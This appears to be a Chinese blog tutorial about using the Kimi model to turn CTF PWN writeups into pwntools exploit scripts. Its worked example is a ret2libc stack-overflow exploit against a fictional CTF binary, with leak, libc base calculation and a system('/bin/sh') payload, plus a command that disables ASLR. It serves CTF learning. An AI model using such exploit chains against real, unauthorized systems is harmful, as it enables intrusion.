
1. 项目概述当AI大模型遇上二进制安全最近在复盘去年的网鼎杯CTF赛题特别是几道PWN题发现其利用链和绕过手法都相当精巧。手动写EXP漏洞利用脚本固然是基本功但面对一些重复性高、模式固定的操作比如计算偏移、构造ROP链、处理libc地址我就在想能不能让AI来帮我分担一部分“体力活”正好Kimi、DeepSeek这类国产大模型在代码理解和生成上表现越来越亮眼尤其是对中文技术文档和代码片段的处理。于是我尝试了一个新玩法将网鼎杯的官方WriteupWP喂给Kimi让它理解漏洞原理并自动生成可执行的PWN漏洞利用脚本。这不仅仅是简单的代码翻译而是要求AI理解漏洞成因、内存布局、利用技巧并转化为正确的pwntools脚本。这个尝试的核心价值在于它探索了AI在安全研究尤其是漏洞利用开发Exploit Development这一高度专业化领域的辅助潜力。对于安全研究员和CTF选手而言AI可以成为一个不知疲倦的“初级助手”快速处理WP中的信息生成脚本框架甚至提出不同的利用思路。对于初学者这更是一个强大的学习工具你可以通过对比AI生成的脚本和手工编写的脚本快速理解WP中每一步操作的目的。当然这绝不意味着AI能完全替代安全研究员的核心思考。漏洞挖掘、逻辑分析、绕过新颖缓解措施如最新的CFI、PAC等创造性工作依然高度依赖人类的经验和直觉。AI辅助开发辅助的是“开发”中那些标准化、流程化的部分从而让我们能更聚焦于真正的挑战。2. 核心思路与工具链搭建2.1 整体工作流设计要让AI有效地辅助编写PWN脚本我们不能简单地把整个WP文档扔过去说“写个EXP”。这就像让一个刚入行的新人直接看决赛题一样大概率会得到一堆语法正确但逻辑混乱的代码。我们需要设计一个结构化的“投喂”和“引导”流程。我的工作流分为四个阶段信息预处理与提炼首先我需要精读WP将其中的关键信息结构化地提取出来。这包括目标程序的基本信息架构、保护机制、漏洞点详细描述、利用思路步骤、以及关键的偏移、地址信息。分步提示与上下文构建将提炼出的信息结合具体的代码片段如反汇编关键函数、崩溃现场寄存器状态分步骤、有逻辑地输入给Kimi。每一步都附带明确的指令比如“请根据以上漏洞描述编写一段代码泄露libc基地址”。脚本生成与迭代修正AI生成初步代码后我需要在一个隔离的测试环境中运行和调试。AI可能会犯一些错误比如搞错结构体偏移、误解调用约定或者使用了过时的pwntools API。这时就需要我进行人工修正并将修正原因和正确代码作为反馈再次输入让AI学习调整。整合与优化将分步生成的代码模块整合成一个完整的、健壮的EXP脚本并加入一些实战技巧如错误处理、多架构适配、日志输出等。这个流程的核心是“人类把控方向AI执行细节”。人类负责确保漏洞逻辑的正确性和利用路径的可行性AI则负责将自然语言描述转化为准确的Python/pwntools代码。2.2 工具选型与配置工欲善其事必先利其器。以下是这个项目中使用到的核心工具栈及其配置考量AI大模型平台Kimi Chat选择理由Kimi对长上下文的支持非常出色动辄数十万字的WP文档可以轻松输入。其对中文技术术语的理解准确代码生成格式规范。相较于一些需要复杂配置的本地模型Kimi网页版即开即用交互速度快适合快速迭代。关键配置在对话开始时我会用一个“系统提示词”来设定AI的角色和能力边界。例如“你是一个经验丰富的二进制安全研究员精通CTF PWN题型和pwntools开发。接下来我将提供一道PWN题的Writeup请你逐步分析并生成对应的利用脚本。请确保代码符合Python3和最新pwntools库的规范。”使用技巧遇到“聊得太长”的提示时有效的策略是开启“新会话”并将之前对话中最重要的上下文如漏洞类型、目标二进制名、已确定的偏移作为新对话的初始提示而不是试图恢复整个超长历史。本地开发与调试环境操作系统Ubuntu 22.04 LTS。这是CTF和安全研究最主流的环境工具链完整与比赛环境兼容性好。Python环境使用pyenv或conda管理独立的Python 3.10环境避免包冲突。核心库就是pwntools务必安装最新版pip install --upgrade pwntools。调试器gdbpwndbg/gef插件。这是动态调试的黄金组合。我会将调试过程中发现的地址、内存布局等实时信息补充给AI让生成的脚本更精准。二进制分析工具checksec查看保护、objdump/readelf静态分析、ROPgadget/ropper寻找gadget。这些工具的输出是WP的重要组成部分也是AI需要理解的信息源。辅助工具链Libc数据库libc-database或在线工具libc.blukat.me。当WP中提到“通过泄露某个地址查libc版本”时AI生成的代码需要集成查询逻辑。结构化信息提取有时WP是图片或格式混乱的PDF。我会先用OCR工具如pytesseract或PDF解析库提取文字再用文本编辑器或简单脚本进行初步清洗确保喂给AI的是清晰文本。注意整个实验必须在完全隔离的虚拟机或容器中进行目标二进制文件也仅限于CTF赛题或明确授权测试的程序。绝对禁止将此类方法用于对未授权真实系统的测试这既是法律红线也是职业道德底线。3. 实战拆解从WP到EXP的AI协作过程下面我以一道虚构的、融合了网鼎杯常见考点的栈溢出题目为例展示完整的协作过程。题目假设为pwn_me保护机制为Partial RELRO, NX enabled, PIE disabled。3.1 阶段一信息提炼与结构化首先我阅读WP并整理出以下结构化信息作为给AI的“需求文档”题目基本信息二进制文件pwn_me(ELF 64-bit)保护Partial RELRO, NX, No PIE意味着GOT表可写代码段地址固定漏洞函数vuln()内部使用gets(buf)读入数据buf位于栈上大小0x50字节。溢出长度需要填充0x50字节缓冲区 0x8字节保存的RBP之后即可覆盖返回地址。利用思路第一次溢出覆盖返回地址为putsplt参数设置为putsgot目的是泄露puts函数在内存中的真实地址。计算libc基址利用泄露的地址减去libc中puts函数的偏移得到libc基址。第二次溢出再次执行vuln()函数构造第二次payload。通过libc基址计算出system函数和字符串/bin/sh的地址。获取shell覆盖返回地址为system参数为/bin/sh地址。关键地址/偏移需动态获取或计算buf到返回地址的偏移0x50 0x8 0x58(88字节)。pop rdi; retgadget的地址需要通过ROPgadget在二进制文件中查找。putsplt和putsgot的地址通过objdump或readelf获取。Libc中puts和system的偏移需要根据泄露的地址和libc版本确定。3.2 阶段二分步提示与AI代码生成我将上述信息分步输入给Kimi。第一步建立连接与基础框架我的提示词 “请用pwntools编写一个基础框架连接到一个本地进程./pwn_me。设置上下文架构为amd64日志级别为debug以便观察。同时根据以下信息定义一些常量二进制中pop rdi; ret这个gadget的地址是0x4007a3putsplt的地址是0x400520putsgot的地址是0x601018。缓冲区到返回地址的偏移是88字节。”AI生成的代码框架from pwn import * # 设置上下文 context(archamd64, oslinux, log_leveldebug) # 定义常量 offset 88 pop_rdi_ret 0x4007a3 puts_plt 0x400520 puts_got 0x601018 # 启动进程 io process(./pwn_me) # 如果是远程使用io remote(靶机地址, 端口号)第二步构造第一次溢出Payload我的提示词 “现在请构造第一次溢出的payload。目标是调用puts(puts_got)来泄露地址。payload结构应该是[偏移量的垃圾数据] [pop_rdi_ret gadget] [puts_got] [puts_plt] [vuln函数的地址]。这里vuln函数的地址是0x400637我们需要在泄露后再次返回到这里进行第二次溢出。请生成相应的代码。”AI生成的代码# 第一次溢出泄露puts的got表地址 vuln_addr 0x400637 payload1 bA * offset payload1 p64(pop_rdi_ret) payload1 p64(puts_got) payload1 p64(puts_plt) payload1 p64(vuln_addr) # 泄露后再次返回vuln函数 io.sendlineafter(binput:, payload1) # 假设程序提示符是input: # 接收泄露的地址 leaked_puts u64(io.recvline().strip().ljust(8, b\x00)) log.success(fLeaked puts address: {hex(leaked_puts)})这里AI准确地使用了p64进行打包并使用了sendlineafter来稳定交互还考虑了接收数据时可能长度不足8字节的填充处理表现不错。第三步计算libc基址与二次利用我的提示词 “假设我们已知使用的libc是libc6_2.31-0ubuntu9.9_amd64其中puts函数的偏移是0x84420system的偏移是0x52290字符串/bin/sh的偏移是0x1b45bd。请根据泄露的leaked_puts地址计算libc基址进而计算出system和/bin/sh的地址。然后构造第二次payload直接调用system(/bin/sh)。”AI生成的代码# 已知的libc偏移需要根据实际libc版本修改 libc_puts_offset 0x84420 libc_system_offset 0x52290 libc_binsh_offset 0x1b45bd # 计算libc基址和其他函数地址 libc_base leaked_puts - libc_puts_offset system_addr libc_base libc_system_offset binsh_addr libc_base libc_binsh_offset log.info(fLibc base: {hex(libc_base)}) log.info(fSystem address: {hex(system_addr)}) log.info(f/bin/sh address: {hex(binsh_addr)}) # 第二次溢出获取shell payload2 bB * offset payload2 p64(pop_rdi_ret) payload2 p64(binsh_addr) payload2 p64(system_addr) io.sendlineafter(binput:, payload2)第四步交互与收尾我的提示词 “最后在发送第二次payload后将进程切换到交互模式这样我们就能得到一个shell。请补充这部分代码并添加适当的注释。”AI生成的完整脚本收尾io.interactive()3.3 阶段三人工调试与迭代修正AI生成的代码在逻辑上基本正确但实际运行中可能会遇到问题。例如问题1io.recvline()可能没有接收到完整的泄露地址行或者收到了额外的换行符。这会导致u64解包失败。修正我调试后发现泄露的地址是puts函数输出的唯一内容后面可能没有换行符。于是修改为io.recvuntil(b\x7f)来接收直到libc地址特征字节0x7f出现或者使用io.recv(6)接收6个字节再填充。反馈给AI我将这个调试过程和修正后的代码片段告诉AI“在接收泄露地址时使用recvline()可能不可靠。因为泄露的地址可能不是以换行结尾。更稳健的做法是使用recvuntil(b\x7f)接收直到遇到libc地址的高位特征字节或者直接接收固定长度。修正后的代码是leaked_puts u64(io.recv(6).ljust(8, b\x00))。”问题2AI假设了libc的偏移。在实际CTF中我们通常需要动态查找。修正我引入LibcSearcherpwntools的一个组件需额外安装或在线查询逻辑让脚本更具通用性。反馈给AI“在实际利用中libc偏移是未知的。请修改代码使用from LibcSearcher import *在得到泄露地址后使用LibcSearcher(puts, leaked_puts)来查找可能的libc版本并自动计算system和/bin/sh的地址。”通过这样几轮“AI生成 - 人工调试 - 反馈修正”的迭代最终能得到一个健壮、可用的EXP脚本。这个过程也极大地加深了对漏洞利用每个环节的理解。4. AI辅助的边界与进阶技巧4.1 当前能力的边界与局限经过多次实践我清晰地认识到AI在PWN利用脚本编写中的能力边界逻辑推理与漏洞挖掘AI无法从零开始分析一个二进制文件并发现新漏洞。它极度依赖WP中已经提炼出的、明确的漏洞描述和利用路径。对于模糊的、需要复杂条件竞争或深入理解程序状态机的漏洞AI目前无能为力。环境感知与动态适配AI生成的代码是基于静态信息提供的地址、偏移。它无法感知运行时的动态变化比如ASLR每次加载的随机化、堆布局的微妙差异、网络延迟导致的竞态条件。这些都需要人工编写循环、尝试和异常处理逻辑。绕过高级缓解措施面对CFG控制流防护、Shadow Stack、Pointer Authentication等现代缓解机制利用手法变得极其复杂和定制化。AI缺乏对底层CPU架构和操作系统安全机制深度交互的理解难以生成有效的绕过代码。代码优化与稳定性AI生成的代码通常是功能性的但可能不够优化或健壮。例如它可能不会考虑添加sleep来稳定堆布局不会使用cyclic工具智能计算偏移也不会编写优雅的重连和重试逻辑。4.2 提升AI辅助效率的进阶技巧尽管有局限但通过一些技巧我们可以让AI成为更得力的助手提供更丰富的上下文除了WP文字将关键的反汇编代码片段、checksec输出、gdb调试信息如vmmap、search命令结果也一并提供给AI。信息越全面AI的理解就越准确。使用“思维链”提示不要直接要求“写EXP”。而是引导AI一步步思考“首先我们需要确定溢出点。根据WPgets函数读入到大小为0x50的缓冲区……那么偏移是多少接下来由于NX开启我们需要ROP……程序中有什么可用的gadget……” 模拟人类的推理过程让AI生成中间步骤的代码。要求AI进行代码审查你可以将自己手写的EXP初稿交给AI并提问“请检查这段PWN利用脚本是否存在逻辑错误、内存对齐问题或者是否有更简洁的gadget组合方式” AI往往能发现一些疏忽的细节。构建可复用的代码模板库让AI为常见的漏洞模式如栈溢出ret2libc、格式化字符串泄露、堆漏洞中的unlink攻击生成高度参数化的模板代码。以后遇到类似题目只需修改几个偏移量和地址即可。结合其他AI工具Kimi长于理解和生成。对于更复杂的代码逻辑或需要搜索已知漏洞模式可以结合GitHub Copilot、Cursor等编程辅助AI在IDE内进行实时补全和建议。5. 常见问题与排查实录在实际操作中无论是AI还是我们自己都会遇到各种问题。下面记录了一些典型问题及其解决方法这往往是WP里不会写的“坑”。5.1 AI生成代码的常见错误问题现象可能原因排查与解决方法TypeError: cant concat str to bytesAI可能混淆了Python的字符串(str)和字节串(bytes)。在pwntools中payload必须由字节串构成。检查所有地址、gadget在拼接前是否都用了p64()/p32()打包或确保字符串如bA * offset是字节串。将所有字符串字面量加上b前缀。脚本卡在recv或sendlineafter1. 提示字符串不匹配。2. 程序输出有不可见字符或换行符差异。3. AI生成的交互逻辑与程序实际流程不符。1. 使用context.log_level debug查看所有收发数据。2. 尝试使用io.recvuntil(bxxx: )其中的字节序列要完全匹配程序输出包括空格和冒号。3. 手动运行程序观察其确切的输入输出流程并据此修正AI代码中的交互点。泄露的地址解包后明显错误如很小1. 接收的数据长度不对u64解包了错误的内存内容。2. 程序输出可能包含换行符等干扰被recvline()一并接收。1. 在u64前打印接收到的原始数据log.info(io.recvline())。2. 改用io.recvuntil(b\x7f)或io.recv(6)来精准捕获地址数据。3. 考虑地址可能只有6个有效字节如0x7fxxxxxxxxxx需要用.ljust(8, b\x00)从右侧填充。第二次溢出后程序崩溃而非获得shell1. 栈对齐问题。在x86_64下call指令要求栈16字节对齐而ret指令后栈可能不对齐。2.system地址计算错误。3. 参数传递错误如32位和64位混淆。1. 在ROP链中添加一个额外的retgadget作为“栈对齐填充”。让AI在pop rdi; ret之后system之前再加一个单纯的ret指令地址。2. 重新核对libc基址计算过程确认偏移是否正确并用gdb附加进程验证计算出的system地址是否指向正确的函数。3. 确认架构和调用约定。64位下第一个参数在rdi。5.2 环境与工具相关的问题LibcSearcher 找不到或报错这通常是因为本地数据库未更新或没有对应的libc版本。解决方法1) 更新LibcSearcher数据库2) 如果知道远程libc版本手动下载对应的libc.so文件在脚本中直接指定偏移3) 使用在线API编写一个函数根据泄露的地址去libc.blukat.me等网站查询。进程崩溃无核心转储在调试时如果程序崩溃后没有生成core文件无法查看崩溃现场。需要在运行脚本前在终端执行ulimit -c unlimited。同时确保系统已启用核心转储。地址随机化ASLR在本地测试时为了方便可以暂时关闭ASLRecho 0 | sudo tee /proc/sys/kernel/randomize_va_space。但务必记住远程靶机通常是开启的所以脚本必须能处理随机的libc和栈地址。5.3 给AI的提示词优化心得明确指令使用“请编写代码…”、“请计算…”、“请修改…使其能…”等清晰动词。提供范例如果有一种特定的代码风格或模式你希望AI遵循可以先给它看一小段你写的代码作为例子。分而治之将复杂的利用过程分解成多个子任务逐个让AI完成。例如“第一步写连接和定义偏移的代码”、“第二步写泄露函数的代码”、“第三步写计算地址的代码”。指定格式和库明确要求“使用Python3和pwntools库”“代码中需要包含详细的注释”。纠正与反馈当AI出错时将错误信息和你修正后的代码一起提供给AI并解释为什么这样改。这能帮助它在后续生成中避免同类错误。这个项目让我深刻体会到AI辅助开发不是魔法它不会让一个新手瞬间变成漏洞利用专家。但它是一个强大的“力量倍增器”。它将安全研究员从大量重复、繁琐的代码编写和调试中解放出来让我们能更专注于漏洞逻辑本身、利用链的构思和绕过手法的创新。对于学习者而言它提供了一个永不疲倦的“对话伙伴”你可以通过不断向它提问、验证想法来加速学习过程。未来随着多模态模型的发展或许我们可以直接将二进制文件、IDA反汇编视图丢给AI进行分析那将是更激动人心的场景。但无论如何工具的核心价值始终在于使用它的人。